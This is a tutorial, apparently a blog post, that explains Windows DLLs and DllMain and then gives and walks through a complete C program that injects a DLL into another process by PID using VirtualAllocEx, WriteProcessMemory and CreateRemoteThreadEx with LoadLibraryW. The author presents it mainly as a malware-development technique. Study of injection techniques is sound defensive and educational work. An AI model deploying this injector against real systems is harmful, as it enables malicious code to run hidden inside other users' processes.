DLL Injection
Introduction
In this documentation, we will discuss how to execute any shellcode via DLL Injection technique. The technique is a variation of the shellcode injection. It also can be used for debugging purpose rather than malware.
What is DLL?
Before the technique, we need to understand what’s a DLL actually.
DLLs (Dynamic Link Library) are libraries containing code and data that are used by multiple programs at the same time. When you run a program on the Windows operating system or when the Windows operating system wants to perform a function, it uses DLLs.
These libraries usually contain code, functions or resources that are common to more than one application, as I mentioned above. This reduces code duplication and shrinks application sizes. DLLs are loaded into memory only when needed, which makes efficient use of system resources.
Coding DLL
I don’t want to leave the topic theoretically by just saying “This is DLL”. In order to make it clearer in our minds what DLL is, we will create a DLL project in Visual Studio environment and simply code it. Then we will inject the DLL we have prepared with the DLL Injection method. Do not have any doubts in your mind with questions like “How do we code for DLL?”. DLLs are coded in C/C++ languages, so our development will not be difficult.
Let’s open Visual Studio and click on Create a new Project and search for ‘Dynamic’ in the search field:

Then select it and create the project by naming it. After the project is created, the following codes will greet us:

The main field of DLLs is DllMain. Just like in C projects we write code to the main function, in DLL projects this is the starting point. But there is a difference here: The DllMain function takes a few special parameters and these parameters are used to manage the DLL’s life cycle.
The parameters of DllMain:
- hModule: This parameter is a handle to the module in which the DLL is loaded. This usually points to the DLL’s memory address and is unique throughout the process.
- ul_reason_for_call: This indicates the reason for calling the DLL. Keep this in mind especially because we will detail it.
- lpReserved: Used to carry additional information during loading and unloading. This parameter is usually rarely used.
The switch-case structure in DLLMain works according to the ul_reason_for_call parameter. This parameter indicates which state the DLL is in. There are four different cases and let’s analyze them in order:
- DLL_PROCESS_ATTACH: This means that the DLL is loaded for the first time by a process.
- DLL_THREAD_ATTACH: This comes into play if a new thread is created within your program. For example, if you want to make thread-specific data or settings, you can write code in this case.
- DLL_THREAD_DETACH: This is called when a thread ends. You can use it to free private resources associated with the thread or to perform cleanup operations.
- DLL_PROCESS_DETACH: This happens when the DLL is no longer used or when the program is closed. In other words, whatever is needed before the program closes is done in this section.
Finally, returning TRUE indicates that the DLL was successfully installed or running. If a problem occurred, we can return FALSE. But TRUE is usually the default option.
The case we will be interested in for our coding will be DLL_PROCESS_ATTACH. Now let’s do some simple coding here:

Then, in Solution Explorer, right click on our project, select Rebuild and browse to the .dll created from the /x64/Debug directory.
DLL Injection
DLL Injection technique involves injecting a malicious DLL into a process. Think of it as injecting malicious shellcode just like we did in our previous documentation.
With the malicious DLL installed, you can now change the behavior of the Process according to whatever your goal is. Although it sounds like a technique used only for Malware Development, I would like to emphasize here that it is also used for debugging purposes.
If you remember, in our previous documentation, we were embedding the shellcode we had into the target process via memory. As I said, you can think of this method like this. We will embed the path to our DLL in the target process memory and then have the process run LoadLibraryW to load the malicious DLL.
Coding
#include <stdio.h>
#include <Windows.h>
int main(int argc, char* argv[]) {
DWORD PID = 0;
HANDLE HandleProcess = NULL;
HANDLE HandleThread = NULL;
LPVOID RemoteBuffer = NULL;
LPTHREAD_START_ROUTINE LoadLibraryAddress = NULL;
wchar_t DllPath[MAX_PATH] = L"C:\\Users\\bekoo\\bekoo.dll";
DWORD DllPathSize = sizeof(DllPath);
if (argc < 2) {
printf("Usage: %s <PID>\n", argv[0]);
return 1;
}
PID = atoi(argv[1]);
printf("Injecting DLL into PID %d\n", PID);
LoadLibraryAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "LoadLibraryW");
if (LoadLibraryAddress == NULL) {
printf("Failed to get LoadLibraryW address\n");
return 1;
}
printf("LoadLibraryW address: 0x%p\n", LoadLibraryAddress);
HandleProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (HandleProcess == NULL) {
printf("Failed to open process\n");
return 1;
}
RemoteBuffer = VirtualAllocEx(HandleProcess, NULL, DllPathSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (RemoteBuffer == NULL) {
printf("Failed to allocate memory in remote process\n");
return 1;
}
if (!WriteProcessMemory(HandleProcess, RemoteBuffer, DllPath, DllPathSize, NULL)) {
printf("Failed to write DLL path to remote process\n");
return 1;
}
HandleThread = CreateRemoteThreadEx(HandleProcess, NULL, 0, LoadLibraryAddress, RemoteBuffer, 0, NULL, NULL);
if (HandleThread == NULL) {
printf("Failed to create remote thread\n");
return 1;
}
WaitForSingleObject(HandleThread, INFINITE);
printf("DLL injected\n");
return 0;
}
If you have read my Shellcode Injection documentation, these codes will not look foreign to you. Because we are doing almost the same things except for a few things. In the previous topic we didn’t use things like LoadLibrary, so let’s take a look at that:
LoadLibraryAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "LoadLibraryW");
if (LoadLibraryAddress == NULL) {
printf("Failed to get LoadLibraryW address\n");
return 1;
}
printf("LoadLibraryW address: 0x%p\n", LoadLibraryAddress);
Here we get the address of the LoadLibraryW API from kernel32.dll with GetProcAddress and the address is passed to the LoadLibraryAddress variable.
Then we do an if check. If GetProcAddress returns NULL, it means that the address of the function was not received and we close the program with an error message. “So, where do we use this address?” may be a question, let me show you:
HandleThread = CreateRemoteThreadEx(HandleProcess, NULL, 0, LoadLibraryAddress, RemoteBuffer, 0, NULL, NULL);
if (HandleThread == NULL) {
printf("Failed to create remote thread\n");
return 1;
}
Notice that I have given this address to lpStartAddress, the fourth parameter of CreateRemoteThreadEx, and the allocated memory address as lpParameter. For our purposes here, the address given to the target Process is the address of the LoadLibraryW function we obtained. This function will load the DLL we have prepared using this function. We give the RemoteBuffer value as a parameter for the LoadLibraryW function.
Result
Here’s result of the project:
As we can see in the result, when we give the PID value of the paint application, it injects the DLL and we see our message.
Conclusion
In this documentation, we saw the DLL Injection technique. This technique is really simple, and also can be useful in the several malware projects.
The idea of this technique is simple: Write a malicious DLL and embedded the path into the memory of the target process, then execute it with thread.